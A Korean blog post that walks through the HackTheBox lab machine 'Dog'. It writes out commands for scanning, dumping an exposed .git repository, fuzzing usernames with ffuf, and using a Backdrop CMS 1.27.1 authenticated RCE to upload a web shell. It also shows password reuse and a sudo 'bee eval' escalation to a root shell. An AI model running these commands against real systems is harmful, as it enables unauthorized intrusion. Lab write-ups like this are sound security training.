정보 수집 (Enumeration)
포트 스캔 결과 22번 SSH(OpenSSH 8.2p1 Ubuntu)와 80번 HTTP(Apache 2.4.41)가 열려 있었다.
nmap의 http-git 스크립트가 이미 .git/ 디렉터리 노출을 탐지했고, http-generator 값으로 대상이 Backdrop CMS임을 확인했다. 마지막 커밋 메시지로 todo: customize url aliases 까지 노출되어 있었다.
rustscan -a 10.129.231.223 -- -sC -sV -oN nmap

웹 서비스에 직접 접속해 메인 페이지를 확인했다.

이어서 gobuster로 디렉터리를 탐색했다.
gobuster dir -u http://10.129.231.223 -w /usr/share/dirb/wordlists/common.txt -t 5 -o gobuster

탐색 결과 .git 경로가 노출되어 있는 것을 확인했다.

git-dumper를 사용해 노출된 git 저장소의 정보를 추출했다.
git-dumper http://10.129.231.223/.git/ git-dump

덤프한 소스의 settings.php에서 MySQL 접속 계정 정보를 확인할 수 있었다.

Backdrop CMS의 로그인 창은 다음과 같다.

ffuf를 사용해 유효한 계정명을 퍼징했다.
ffuf -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -u http://10.129.231.223/\?q=accounts/FUZZ -c -v -mc 403

git 덤프의 settings.php에는 DB 접속 정보(비밀번호 BackDropJ2024DS2024)가 하드코딩되어 있었다. 이 비밀번호를 ffuf로 찾은 사용자명 tiffany에 재사용해 로그인을 시도했고, 그대로 성공했다.
tiffany: BackDropJ2024DS2024

초기 침투 (RCE) — Backdrop CMS 1.27.1 인증 후 RCE → www-data
tiffany로 로그인한 뒤 관리자 패널(Appearance)에서 테마 버전이 Basis 1.27.1임을 확인했다.


해당 버전에는 인증된 사용자가 악용할 수 있는 RCE 취약점이 존재했다.
- backdrop CMS 1.27.1 authenticated RCE
익스플로잇 코드를 실행하자 shell.php와 shell.info가 담긴 shell.zip 파일이 생성되었다.
python 52021.py http://dog.htb

그런데 업로드 기능은 .zip을 받지 않고 tar.gz 형식만 지원했다.

따라서 tar.gz로 다시 압축한 뒤 업로드했다.
tar cvzf shell.tar.gz shell
업로드하는 화면은 다음과 같다.

업로드한 웹쉘에 접근해 쉘을 획득했다.

이후 리버스 쉘로 연결해 안정적으로 접속했다.

수평 이동 (Lateral Movement) — 비밀번호 재사용 → johncusack
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
...
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
...
...
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
jobert:x:1000:1000:jobert:/home/jobert:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
johncusack:x:1001:1001:,,,:/home/johncusack:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false
이 중 johncusack이 앞서 tiffany가 쓰던 것과 동일한 비밀번호로 SSH 접속에 성공했다. 즉 비밀번호가 그대로 재사용되고 있었다.
johncusack: BackDropJ2024DS2024
ssh johncusack@10.129.231.223

권한 상승 (LPE) — sudo bee eval 악용 → root



처음에는 Backdrop 루트 경로를 찾지 못해 부트스트랩에 실패했다.
sudo /usr/local/bin/bee eval 'system("/bin/bash")'

그래서 --root로 설치 경로(/var/www/html)를 명시해 다시 시도했다.
sudo /usr/local/bin/bee --root="/var/www/html" eval 'system("/bin/bash")'

그 결과 id 출력이 uid=0(root)로 나오며 root 셸을 획득했다.
'HTB' 카테고리의 다른 글
| HTB - LinkVortex (0) | 2026.09.19 |
|---|---|
| HTB - CozyHosting (0) | 2026.09.06 |
| HTB - Networked (0) | 2026.09.03 |
| HTB - Keeper (0) | 2026.08.17 |
| HTB - Soccer (0) | 2026.08.16 |